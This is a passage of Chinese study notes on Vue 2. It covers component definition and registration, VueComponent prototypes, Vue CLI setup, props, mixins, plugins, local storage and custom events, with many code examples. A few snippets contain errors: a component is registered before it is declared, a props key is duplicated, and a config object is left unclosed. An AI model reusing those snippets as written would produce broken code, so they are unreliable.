          if (this.opacity <= 0) this.opacity = 1;
        }, 16);
      },

      beforeDestroy() {
        console.log('vm要没了')
        clearInterval(this.timer);
      }
    });

  </script>
</body>

</html>

30.组件

前言

模块:指的就是一个js文件(js模块)。

模块的产生是由于js文件内容较多,它的出现可以复用编码、简化编码、提高整体效率。

**模块化:**其实就是把一个庞大的js文件拆分成若干个小的js文件。当应用中的js都以模块化来编写,那么这个应用就是一个模块化的应用。

在这里插入图片描述

**组件化:**是一种软件架构的设计方法,它将整个应用程序划分为多个独立的组件或模块,每个组件都有自己的功能和责任。这些组件可以独立开发、测试和维护,然后通过明确定义的接口和通信机制来组合在一起构建完整的应用程序。

30.1非单文件组件

一个文件中包含n个组件。

<!doctype html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>非单文件组件的基本使用</title>
<script src="../js/vue.js"></script>
</head>

<body>
<!--
组件的定义:实现应用中【局部】功能代码和资源的【集合】。
组件就是一块砖哪里需要哪里搬
非单文件组件在实际开发中基本不用

Vue中使用组件的三大步骤:
一、定义组件(创建组件)
二、注册组件
三、使用组件(写组件标签)

一、如何定义一个组件?
使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
区别如下:
1.el不要写,为什么? —— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
2.data必须写成函数,为什么? —— 避免组件被复用时,数据存在引用关系。
备注:使用template可以配置组件结构。

二、如何注册组件?(局部注册常用)
1.局部注册:靠new Vue的时候传入components选项
2.全局注册:靠Vue.component('组件名',组件)

三、编写组件标签:
<school></school>
-->
<div class="root">
<h1>
{{msg}}
</h1>
<hello></hello>
<!--第三步:使用组件,编写组件标签-->
<school></school>
<hr />
<student></student>
<hr />
</div>
<div id="root2">
<h2>root2容器</h2>
<hello></hello>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;


/*  使用组件的三个步骤:
1.创建组件
2.注册组件
3.使用组件 */

//第一步:创建school组件
const school = Vue.extend({
// 运用模板字符串可以随意的换行
template: `
     <div>
     <h2>学校名称:{{schoolName}}</h2>
     <h2>学校地址:{{address}}</h2>
     <button @click="showName">点我提示学校名</button>
     </div>
   `,
//组件定义不要写el配置项,因为最终所有的组件都要被vm所管理,由vm决定服务于哪个容器
//这里data必须写成函数形式 避免多次使用组件导致共用data对象导致一个问题
data() {
//注意这里不要写箭头函数
return {
 schoolName: '沈阳师范大学',
 address: '沈阳',
}
},
methods: {
showName() {
 alert(this.schoolName)
}
}
})
//第一步:创建student组件
const student = Vue.extend({
template: `
 <div>
 <h2>学生名字:{{ studentName }}</h2>
 <h2>学生年龄:{{ age }}</h2>
 </div>
`,
data() {
return {
 studentName: 'Jone',
 age: 18
}
}
});

//第二步:全局注册hello (注册之后所有的vm都可以用hello组件)
Vue.component('hello', hello);

//第一步:创建hello组件(用来讲解全局注册)
const hello = Vue.extend({
template: `
 <div>
 <h2>你好世界,{{name}}</h2>
 </div>
`,
data() {
return {
 name: 'Hello'
}
}
});

// 创建vm
const vm = new Vue({
el: ".root",
//配置组件(局部注册)
// 创建vm的时候data可以写成对象,也可以写成函数
// 我自己不管是vm还是组件中的data都写成函数形式
data: {
msg: 'hello world'
},
// 注册组件(局部注册)
// components单词是组件的意思
components: {
school,
student
},
})

// 此vm用来讲解组件的全局注册
new Vue({
el: '#root2',
});

</script>
</body>

</html>
30.1.1注意几个点
<!doctype html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>几个基本的注意点</title>
<script src="../js/vue.js"></script>
</head>

<body>
<div id="root">
<!--
几个注意点:
1.关于组件名:
一个单词组成:
   第一种写法(首字母小写):school
   第二种写法(首字母大写):School
多个单词组成:
   第一种写法(kebab-case命名):my-school
   第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
备注:
   (1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
   (2).可以使用name配置项指定组件在开发者工具中呈现的名字。

2.关于组件标签:
   第一种写法:<school></school>
   第二种写法:<school/>
   备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

3.一个简写方式:
   const school = Vue.extend(options) 可简写为:const school = options
-->
<h1>{{msg}}</h1>
<hello></hello>
<!--    <school/>--><!-- 另一种写法 -->
<!--    <school/>--><!-- 另一种写法 -->
<school></school>
<school></school>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;

const s = Vue.extend({
template: `
 <div>
 <h2>学校名称:{{name}}</h2>
 <h2>学校地址:{{address}}</h2>
 </div>
`,
data() {
return {
 name: '沈阳师范大学',
 address: '沈阳'
}
},
name: 'test' //该配置是指定组件在开发者工具中指定的名称
});

//创建组件的简写 (不需要vue.extend)
const hello = {
template: `
 <div>
 <h1>{{msg}}</h1>
 </div>
`,
data() {
return {
 msg: "hello"
}
}
}

const vm = new Vue({
el: "#root",
data: {
msg: '欢迎学习vue'
},
components: {
school: s,
// 'my-school': s, //另一种写法,上面的组件标签不用改
hello
}
})
</script>
</body>

</html>
30.1.2组件的嵌套
<!doctype html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>组件的嵌套</title>
<script src="../js/vue.js"></script>
</head>

<body>
<div id="root" :x="x">
<!--组件的嵌套-->
<!--    <school></school>-->
<!--    <hello></hello>-->
<!--    <app></app>-->
</div>
<script type="text/javascript">
Vue.config.productionTip = false;

const student = Vue.extend({
template: `
 <div>
 <h2>学生姓名:{{name}}</h2>
 <h2>学生年龄:{{age}}</h2>
 </div>
`,
data() {
return {
 name: 'JONE',
 age: 13
}
},
});

const school = Vue.extend({
template: `
 <div>
 <h1>学校名称:{{ name }}</h1>
 <h1>学校地址:{{ address }}</h1>
 <!--子组件注册给哪个父组件,就嵌套在哪个副组件里面--->
 <student></student>
 </div>
`,

data() {
return {
 name: '沈阳师范大学',
 address: '沈阳'
}
},

//组件嵌套
//这里也是局部注册组件
components: {
student
}
});

const hello = Vue.extend({
template: `<h1>{{msg}}</h1>`,
data() {
return {
 msg: 'hello, my vue world',
}
},
});

const app = Vue.extend({
template: `
 <div>
 <school></school>
 <hello></hello>
 </div>
 `,
components: {
school,
hello
}
});

const vm = new Vue({
template: `
 <app></app>
 `,
el: "#root",
//注册组件(局部)
components: {
// //school组件与hello组件平级
// school,
// hello
app,
},
data: {
x: 1,
}
});

</script>
</body>

</html>
30.1.3VueComponent构造函数
<!doctype html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>VueComponent</title>
<script src="../js/vue.js"></script>
</head>

<body>
<!--
关于VueComponent:
1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,
即Vue帮我们执行的:new VueComponent(options)。

3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!注意这一点很重要

4.关于this指向 (重点) :
(1).组件配置中:
data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
(2).new Vue(options)配置中:
data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
Vue的实例对象,以后简称vm。vm管理着一个又一个vc,vc可以再套多个vc。

6.因为组件是可复用的 Vue 实例(官网说的),所以它们与 new Vue 接收相同的选项,例如 data、computed、watch、methods 以及生命周期钩子等。仅有的例外是像 el 这样根实例特有的选项。所以vm与vc属性配置并不是一模一样的,尽管vc底层复用了很多vm的逻辑。
	简单理解:vm和vc是双胞胎,本质上它们是两个东西。vm是vc的大哥,小弟vc跟着大哥vm混。
-->
<div id="root">
<school></school>
<hello>
</hello>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;

const school = Vue.extend({
template: `
 <div>
 <h1>学校名称:{{name}}</h1>
 <h1>学校地址:{{address}}</h1>
 <button @click="showname">点我提示学校名</button>
 </div>
`,
data() {
return {
 name: '沈阳师范大学',  //vuecomponent的实例对象
 address: '沈阳'
}
},
methods: {
showname() {
 console.log(this);
 console.log(this.name);
}
}
});

// console.log(typeof school, school); //所谓的组件就是构造函数(VueComponent);


//测试组件
const test = Vue.extend({
template: `<h1>panyue</h1>`
});

//hello组件
const hello = Vue.extend({
template: `
 <div>
 <h1>{{ msg }}</h1>
 <test></test>
 </div>`,
data() {
return {
 msg: '你好'
}
},
components: {
test
}
})


const vm = new Vue({
el: "#root",
components: {
school,
hello
}
});

//验证school与hello并不是同一个VueComponent构造函数
// school.a = 99;
// console.log('@', school);
// console.log('#', hello);
// console.log(school === hello);
// console.log(school.a, hello.a);
</script>
</body>

</html>
30.1.4一个重要的内置关系

在这里插入图片描述

<!doctype html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>一个重要的内置</title>
<script src="../js/vue.js"></script>
</head>

<body>
<!--
 实例的隐式原型属性永远指向自己缔造者的原型对象
 1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
 2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
 注:组件实例对象只是在这为了方便才说成vc,但是出去还是要说组件实例对象。
-->
<div id="root">
<!--new VueComponent只有在你写了<school/>或者<school></school>才会执行-->
<school></school>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
//一个内置关系
Vue.prototype.x = 99;
//注意 VueComponent.prototype.__proto__ === Vue.prototype === vm.__proto__

const school = Vue.extend({
template: `
    <div>
    <h1>学校名称:{{ name }}</h1>
    <h1>学校地址:{{ address }}</h1>
    <button @click="showname">点我提示学校名</button>
    <button @click="cx">点我输出x</button>
    </div>
  `,
data() {
  return {
    name: '沈阳师范大学',  //vuecomponent的实例对象
    address: '沈阳'
  }
},
methods: {
  showname() {
    console.log(this);
    console.log(this.name);
  },
  cx() {
    console.log(this); //this是VueComponent的实例对象
    console.log(this.__proto__.__proto__ === Vue.prototype) //true 这里重要的内置关系哦!!!
    console.log()
    console.log(this.x);
  }
}
});

new Vue({
el: "#root",
data: {
  msg: 'hello'
},
components: {
  school
}
});

//验证这个内置关系
// function Demo(){
//     this.a = 1;
//     this.b = 2;
// }
// const d = new Demo();
// // console.log(d.x);
// console.log(Demo.prototype); //显式原型属性 程序员通过这个放东西(我们自己可以编写的)
// console.log(d.__proto__);// 隐式原型属性 原型对象只有一个 程序通过这个找东西
// //操作原型对象追加x属性
// Demo.prototype.x = 99;
// console.log(d.__proto__ === Demo.prototype)
</script>
</body>

</html>

30.2单文件组件

一个文件中只包含一个组件。

详情见山尚硅谷vue全家桶第60节,这节课建立的文件要在vue脚手架中才能运行出效果。

31.Vue脚手架

31.1安装脚手架

1.测试

首先通过在命令行cmd中输入vue --version检查vue-cli版本号。

2.安装

在命令行输入npm install -g @vue/cli@版本号就可以全局下载指定版本的vue脚手架,这里推荐下载4版本的vue脚手架。

3.创建项目

下载完成之后,一定要切换到我们要创建项目的目录下,在命令行输入vue create 项目名称(项目名称:自己想叫什么起一个不要太另类,例如:vue_test),创建项目。

在这里插入图片描述

出现如下图字样创建项目成功。

在这里插入图片描述

注:如何切换到我们要创建项目的目录下?

答:鼠标单击打开对应文件夹,然后在下图位置上键盘输入cmd+按Enter键

在这里插入图片描述

4.运行项目

创建项目之后,在命令行输入npm run serve运行项目,运行成功会出现下图情况。

在这里插入图片描述

然后在浏览器中输入网址http://localhost:8080/

在这里插入图片描述

5.补充:

1.在命令行输入cls可以清除命令行内的历史记录。

2.在命令行输入Ctrl+c退出当前执行内容。

3.如果下载异常缓慢在命令行输入npm config set registry https://registry.npm.taobao.org 下载淘宝镜像。

31.2分析Vue脚手架

在这里插入图片描述

这一小节主要是把之前学习的单文件组件文件放入Vue脚手架中,详情见尚硅谷Vue全家桶第62节。

补充:

如果运行完程序,错误提示为should always be multi-word,解决办法是打开package.json文件找到eslintConfig中的rules,在rules下添加语句"vue/multi-word-component-names": "off"。上述步骤完成之后,代码如下图所示:

在这里插入图片描述

31.3render函数

在这里插入图片描述

31.3更改默认配置

入口文件不要随意更改。

语法错误提示会使得整个程序启动不了,有时提示的错误仅仅是声明的变量没有使用。

//写在vue.config.js文件中
module.exports = {
pages: {
index: {
entry: 'src/main.js',//入口文件
},
},
lintOnSave: false //关闭语法错误提示

31.4ref属性

<!-- App.vue文件 -->
<!-- 
    1. 被用来给元素或子组件注册引用信息(id的替代者)
    2. 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
    3. 使用方式:
          1. 打标识:<h1 ref="xxx">.....</h1>或 <School ref="xxx"></School>
          2. 获取:this.$refs.xxx 
-->
<template>
  <div>
    <h1 v-text="msg" ref="title"></h1>
    <button ref="btn" @click="showDOM">点击输出</button>
    <School ref="sch" />
  </div>
</template>

<script>
// 引入组件 引号中是地址
import School from "./components/School.vue";

// 在vue文件中都变成了默认暴露
export default {
  name: "App",
  //汇总所有的组件
  components: {
    School,
  },
  data() {
    return {
      msg: "欢迎~",
    };
  },
  methods: {
    showDOM() {
      console.log(this.$refs.title); // 真实dom元素
      console.log(this.$refs.btn); // 真实dom元素
      console.log(this.$refs.sch); // school的实例对象(vc)
    },
  },
};
</script>

31.5props配置

<!-- App.vue文件 -->
<template>
  <div>
    <!-- 没有props组件用不了App.vue中的数据 -->
    <!-- props的作用是接收对应组件运用App.vue文件传入的数据 -->
    <!-- 加上冒号会它认为这是个表达式,会进行相应的判断与运算。-->
    <!-- 不加冒号它只认为传入的内容是字符串。-->
    <Student name="李四" sex="man" :age="40" />
  </div>
</template>

<script>
// 引入组件 引号中是地址
import Student from "./components/Student.vue";

// 在vue文件中都变成了默认暴露
export default {
  name: "App",
  //汇总所有的组件
  components: {
    Student,
  },
  data() {
    return {
      msg: "欢迎~",
    };
  },
};
</script>
<!-- Student.vue文件 -->

<!-- 
  props配置项:
      1. 功能:让组件接收外部传过来的数据(外部传入的数据优先级大于内部传入的数据)
      2. 传递数据:<Demo name="xxx"/>
      3. 接收数据:
        1. 第一种方式(只接收):props:['name'] 
        2. 第二种方式(限制类型):props:{name:String}
        3. 第三种方式(限制类型、限制必要性、指定默认值):
            props:{
                name:{
                type:String, //类型
                required:true, //必要性
                default:'老王' //默认值
                }
            }
      备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告。
           若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。 
-->

<template>
  <div>
    <h1>{{ msg }}</h1>
    <h2>学生姓名:{{ name }}</h2>
    <h2>学生性别:{{ sex }}</h2>
    <h2>学生年龄:{{ myAge + 1 }}</h2>
    <button @click="updateAge">点击改变年龄</button>
  </div>
</template>

<style>
/* css样式 */
</style>

<script>
/* 组件交互的代码 */
export default {
  name: "Student",
  data() {
    return {
      msg: "我是一名学生",
      myAge: this.age,
      // 运用props下面三个有变化的属性不要写
      /* name: "张三",
      sex: "男",
      age: 21, */
    };
  },
  methods: {
    updateAge() {
      this.myAge++;
    },
  },
  // Student组件运用props接收App.vue文件传入的数据,传入的数据不建议修改,会报错。
  // 第一种:简单声明接收
  // props: ["name", "sex", "age"],

  // 第二种:接收并对数据类型进行限制
  /* props: {
    name: String,
    age: Number,
    sex: String,
  }, */

  // 第三种:接收并对数据类型进行限制+必要性限制+默认值指定
  props: {
    name: {
      type: String, //规定name接收数据类型
      required: true, //规定name是必要内容,没有传入将会报错
    },
    age: {
      type: Number,
      default: 99, //如果没有传入数据,显示默认值。
    },
    name: {
      type: String,
      required: true,
    },
  },
}; /* 默认暴露  */

/* export { school }; /*统一暴露 */
/* export default school */
</script>

31.6mixin混入

混入的主体文件在mixin.js文件中。

在这里插入图片描述

<!-- App.vue文件 -->
<template>
  <div>
    <School />
    <hr />
    <!-- <Student /> -->
  </div>
</template>

<script>
import School from "./components/School.vue";
// 引入组件 引号中是地址
import Student from "./components/Student.vue";

// 在vue文件中都变成了默认暴露
export default {
  name: "App",
  //汇总所有的组件
  components: {
    Student,
    School,
  },
};
</script>
<!-- School.vue文件 -->
<template>
  <div>
    <h2 @click="showName">学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
  </div>
</template>

<script>
//局部混合  所谓的混合就是复用配置(功能相同的部分用混合)
import { myMixin, myMixin2 } from "../mixin";
export default {
  name: "School", //命名最好与开发者工具显示一致
  data() {
    return {
      name: "沈阳师范大学",
      address: "沈阳",
      x: 88,
    };
  },
  // 混合对于生命钩子中的数据是全都要的态度。对于其他的,比如data中的数据是以本体为准。
  // 它不会破坏原有的代码
  mixins: [myMixin, myMixin2], //注意这里是 mixins 只引入一个 myMixin也要写在中括号中
};
</script>
// main.js文件
// 引入Vue
import Vue from 'vue'
import App from './App.vue'
import { myMixin, myMixin2 } from './mixin'

Vue.config.productionTip = false
// 全局配置混合
Vue.mixin(myMixin)
Vue.mixin(myMixin2)
// 创建vm
new Vue({
  render: h => h(App),
}).$mount('#app')
// mixin.js文件
// 分别暴露
export const myMixin = {
  methods: {
    showName() {
      alert(this.name);
    },
  },
  mounted() {
    console.log('你好啊');
  },
}

export const myMixin2 = {
  data() {
    return {
      x: 100
    }
  },
}

31.7插件

在这里插入图片描述

// main.js文件
// 引入Vue
import Vue from 'vue'
import App from './App.vue'
import plugins from "./plugins";  // 引入插件

Vue.config.productionTip = false
Vue.use(plugins); // 使用插件,很重要,提高代码复用率。
/* Vue.use(plugins); 可以使用多个插件,不停的use就行
Vue.use(plugins);  ...*/

// 创建vm
new Vue({
  render: h => h(App),
}).$mount('#app')

// plugins.js文件
// plugins插件的意思
export default {
  install(Vue) {
    console.log('@@@install', Vue);
    // 之前学的内容⬇️
    //全局过滤器的配置
    //注意配置一定要new vue实例之前确定
    Vue.filter('mySlice', function (val) {
      return val.slice(0, 4);
    });
    //全局指令 自定义fBind指令
    // 下面代码是和v-bind的功能一样,但是可以自动获取焦点。
    Vue.directive('fBind', {
      bind(el, binding) {
        // console.log('Bind')
        el.value = binding.value;
      }, //指令被插入页面时
      inserted(el, binding) {
        // console.log('inserted')
        el.focus();
      }, //指令所在模版被重新解析时
      update(el, binding) {
        // console.log('update');
        el.value = binding.value;
      }
    })
    // 定义混入
    Vue.mixin({
      data() {
        return {
          x: 100
        }
      },
    });

    // 给Vue原型上添加一个方法 vm和vc都能用了
    Vue.prototype.hello = () => { alert('你好') };
  },
}
<!-- School.vue文件 -->
<!-- 用来做测试 -->
<template>
  <div>
    <h2>学校名称:{{ name | mySlice }}</h2>
    <h2>学校地址:{{ address }}</h2>
    <button @click="test">点击测试一下</button>
  </div>
</template>

<script>
export default {
  name: "School", //命名最好与开发者工具显示一致
  data() {
    return {
      name: "沈阳师范大学",
      address: "沈阳",
    };
  },
  methods: {
    test() {
      this.hello();
    },
  },
};
</script>

31.8scoped样式

注:在App.vue文件中不要用scoped。

<!-- Student.vue文件 -->
<template>
  <div class="demo">
    <h2 class="qwe">学生姓名:{{ name }}</h2>
    <h2>学生性别:{{ sex }}</h2>
  </div>
</template>

<script>
export default {
  name: "Student",
  data() {
    return {
      name: "张三",
      sex: "man",
    };
  },
};
</script>

<!-- scoped -->
<!-- 作用:让样式在局部(该组件内)生效,防止命名冲突等问题。 -->
<!-- 并不建议使用less -->
<!-- 使用less要在终端输入 npm i less@4和 npm i less-loader@7 -->
<!-- 注:版本号会随着时间的推移发生一定的改变,建议安装前百度查一下。 -->
<style lang="less" scoped>
.demo {
  background-color: #ffa448;
  .qwe {
    font-size: 40px;
    color: red;
  }
}
</style>

31.9TodoList案例总结

注:实际代码见综合案例。

  1. 组件化编码流程:
    (1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。
    (2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:
    1).一个组件在用:放在组件自身即可。
    2). 一些组件在用:放在他们共同的父组件上(状态提升)。
    (3).实现交互:从绑定事件开始。
  2. props适用于:
    (1).父组件 ==> 子组件 通信
    (2).子组件 ==> 父组件 通信(要求父先给子一个函数)
  3. 使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!
  4. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。

31.10浏览器本地存储

webStorage
1. 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)
2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。
3. 相关API:
    1. xxxxxStorage.setItem('key', 'value');
		该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。
    2. xxxxxStorage.getItem('person');
        该方法接受一个键名作为参数,返回键名对应的值。
    3. xxxxxStorage.removeItem('key');
        该方法接受一个键名作为参数,并把该键名从存储中删除。
    4. xxxxxStorage.clear()
        该方法会清空存储中的所有数据。
4. 备注:
    1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。
    2. LocalStorage存储的内容,需要手动清除才会消失。
    3. xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到,那么getItem的返回值是null。
    4. JSON.parse(null)的结果依然是null。
<!-- localStorage.html文件 -->
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>本地存储空间 localStorage</title>
</head>

<body>
    <h2>本地存储空间 localStorage</h2>
    <button onclick="saveData()">保存数据</button>
    <button onclick="readData()">读取数据</button>
    <button onclick="deleteData()">删除数据</button>
    <button onclick="clearData()">清空</button>
    <!--
        浏览器关闭之后数据还在
        用户可以主动清空浏览器缓存
        存储大小一般5M,不同浏览器不一样
    -->
    <script type="text/javascript">
        let p = { name: '张三', age: 18 }

        function saveData() {
            // 只能存放字符串类型键值对,其他类型会被调用toString
            window.localStorage.setItem("name", "张三");
            window.localStorage.setItem("name2", 666);
            // JSON.stringify(obj) 将js对象转换为json字符串
            window.localStorage.setItem("person", JSON.stringify(p));
        }

        function readData() {
            // 只能存放字符串类型键值对,其他类型会被调用toString
            console.log(localStorage.getItem("name"))
            console.log(localStorage.getItem("name2"))
            // JSON.parse(...) 将json字符串转化为 js对象
            console.log(JSON.parse(localStorage.getItem("person")))
        }

        function deleteData() {
            localStorage.removeItem("name2");
        }

        function clearData() {
            localStorage.clear();
        }
    </script>
</body>

</html>
<!-- sessionStorage.html文件 -->
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>会话存储空间</title>
</head>

<body>
    <h2>本地存储空间 localStorage</h2>
    <button onclick="saveData()">保存数据</button>
    <button onclick="readData()">读取数据</button>
    <button onclick="deleteData()">删除数据</button>
    <button onclick="clearData()">清空</button>
    <!--浏览器关闭之后数据清空-->
    <script type="text/javascript">
        let p = { name: '张三', age: 18 }

        function saveData() {
            // 只能存放字符串类型键值对,其他类型会被调用toString
            window.sessionStorage.setItem("name", "张三");
            window.sessionStorage.setItem("name2", 666);
            window.sessionStorage.setItem("person", JSON.stringify(p));
        }

        function readData() {
            // 只能存放字符串类型键值对,其他类型会被调用toString
            console.log(sessionStorage.getItem("name"))
            console.log(sessionStorage.getItem("name2"))
            console.log(JSON.parse(sessionStorage.getItem("person")))
        }

        function deleteData() {
            sessionStorage.removeItem("name2");
        }

        function clearData() {
            sessionStorage.clear();
        }
    </script>
</body>

</html>

31.11todoList本地存储

<!-- app.vue文件 -->
<template>
  <div id="app">
    <UserHeader :addTodo="addTodo"></UserHeader>
    <UserList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo">
    </UserList>
    <UserFooter
      :todos="todos"
      :checkAllTodo="checkAllTodo"
      :clearAllTodo="clearAllTodo"
    ></UserFooter>
  </div>
</template>

<script>
import UserHeader from "@/components/UserHeader.vue";
import UserFooter from "@/components/UserFooter.vue";
import UserList from "@/components/UserList.vue";
import UserItem from "@/components/UserItem.vue";

export default {
  name: "App",
  components: {
    UserHeader,
    UserList,
    UserItem,
    UserFooter,
  },
  methods: {
    // 添加一个todo
    addTodo(todoObj) {
      console.log("app收到数据:" + todoObj);
      this.todos.unshift(todoObj);
    },
    // 勾选/取消勾选todo
    checkTodo(id) {
      this.todos.forEach((todo) => {
        if (todo.id === id) todo.done = !todo.done;
      });
    },
    deleteTodo(id) {
      this.todos = this.todos.filter((todo) => {
        return todo.id !== id;
      });
    },
    // 全选/取消
    checkAllTodo(done) {
      this.todos.forEach((todo) => {
        todo.done = done;
      });
    },
    // 清除所有已经完成todo
    clearAllTodo() {
      this.todos = this.todos.filter((todo) => {
        return !todo.done;
      });
    },
  },
  data() {
    return {
      todos: JSON.parse(localStorage.getItem("todos")) || [],
    };
  },
  watch: {
    todos: {
      // 默认监视只监视数组有没有发生变化
      // 深度监视:可以监视到数组中某一项内的属性是否发生变化
      // 用深度监视要写完整版的watch
      deep: true, // 深度监视
      handler(value) {
        localStorage.setItem("todos", JSON.stringify(value));
      },
    },
  },
};
</script>

31.12组件的自定义事件

注:内置事件是给html用的,自定义事件是给专门组件用的。

<!-- App.vue文件 -->
<template>
  <div id="app">
    <div class="bgc">
      <!-- 此处name有三个出处:1.data 2.props 3.computed -->
      <h1>{{ msg }},学生姓名是:{{ studentName }}</h1>
      <!-- 通过父组件传递函数类型的props实现【子给父传递数据】 -->
      <MySchoolInfo :getSchoolName="getSchoolName" />

      <!-- 通过父组件传递绑定一个自定义事件实现【子给父传递数据】(第一种使用@或v-on) -->
      <!-- 事件名在前(@紧跟着的)回调名在后(等号后面的) -->
      <!-- <MyStudentInfo @getStudentName="getStudentName" @demo="m1" /> -->
      <!-- 只触发一次 -->
      <!-- <MyStudentInfo @getStudentName.once="getStudentName" /> -->

      <!-- 通过父组件传递绑定一个自定义事件实现【子给父传递数据】(第二种使用ref) -->
      <!-- 优势:更加灵活,加定时器等 -->
      <MyStudentInfo ref="myStudent" @click.native="show" />
      <!-- 注:native在vue3中已经不再使用。   -->
    </div>
  </div>
</template>

<script>
import MySchoolInfo from "./components/MySchoolInfo.vue";
import MyStudentInfo from "./components/MyStudentInfo.vue";

export default {
  name: "App",
  data() {
    return {
      msg: "你好啊",
      // 预留空间存放一会儿传递过来的学生姓名
      studentName: "",
    };
  },
  components: {
    MyStudentInfo,
    MySchoolInfo,
  },
  methods: {
    getSchoolName(name) {
      console.log("app收到了学校名:", name);
    },
    // params形成一个数组
    getStudentName(name, ...params) {
      console.log("app收到了学生名:", name, params);
      this.studentName = name;
    },
    m1() {
      console.log("demo事件被触发了");
    },
    show() {
      alert("原生~");
    },
  },
  mounted() {
    // 绑定自定义事件
    // on的作用当事件被触发的时候
    this.$refs.myStudent.$on("getStudentName", this.getStudentName);
    // 只触发一次
    // this.$refs.myStudent.$once("getStudentName", this.getStudentName);
    // 添加定时器
    // setTimeout(() => {
    //   this.$refs.student.$on("getStudentName", this.getStudentName)
    // }, 3000)
  },
};
</script>
<style>
.bgc {
  background-color: #808080;
  height: 350px;
}
.bgc h1 {
  padding: 5px 0 0 10px;
}
</style>
<!-- MyStudentInfo.vue文件 -->
<template>
  <div class="student">
    <h2>学生姓名:{{ name }}</h2>
    <h2>学生性别:{{ sex }}</h2>
    <button @click="sendStudentName">把学生名字给App</button>
    <button @click="unBind">解绑getStudentName事件</button>
    <button @click="death">销毁当前的MyStudentInfo组件实例对象(vc)</button>
  </div>
</template> 

<script>
export default {
  name: "MyStudentInfo",
  data() {
    return {
      name: "张三",
      sex: "男",
    };
  },
  methods: {
    sendStudentName() {
      // MyStudent组件实例身上的mySchool事件
      // $emit的功能是触发事件 逗号后面是要传递的数据
      this.$emit("getStudentName", this.name, 66, 88, 99);
      this.$emit("demo");
    },
    unBind() {
      // 解绑一个自定义事件
      // this.$off("getStudentName");
      // 解绑多个自定义事件
      // this.$off(["getStudentName", "demo"]);
      // 所有的都被解绑
      this.$off();
    },
    death() {
      // 销毁当前的MyStudentInfo组件实例对象(vc)
      // 销毁后所有绑在MyStudentInfo组件的自定义事件都失效
      this.$destroy();
    },
  },
};
</script>

<style scoped>
.student {
  background-color: orange;
  margin: 10px;
  padding: 0 0 5px 5px;
}
</style>
<!-- MySchoolInfo.vue文件 -->
<template>
  <div class="school">
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
    <button @click="sendSchoolName">把学校名字给App</button>
  </div>
</template>

<script>
export default { 
  name: "MySchoolInfo",
  props: ["getSchoolName"],
  data() {
    return {
      name: "沈师6666666+",
      address: "地址",
    };
  },
  methods: {
    sendSchoolName() {
      this.getSchoolName(this.name);
    },
  },
};
</script>

<style scoped>
.school {
  background-color: skyblue;
  margin: 10px;
  padding: 0 0 5px 5px;
}
</style>

31.13组件的自定义事件总结

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件

  2. 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。

  3. 绑定自定义事件:

    1. 第一种方式,在父组件中:

      <Demo @atguigu="test"/><Demo v-on:atguigu="test"/>

    2. 第二种方式,在父组件中:

<Demo ref="demo"/>
......
mounted(){
   this.$refs.xxx.$on('atguigu',this.test)
}

​ 3. 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。

  1. 触发自定义事件:this.$emit('atguigu',数据)

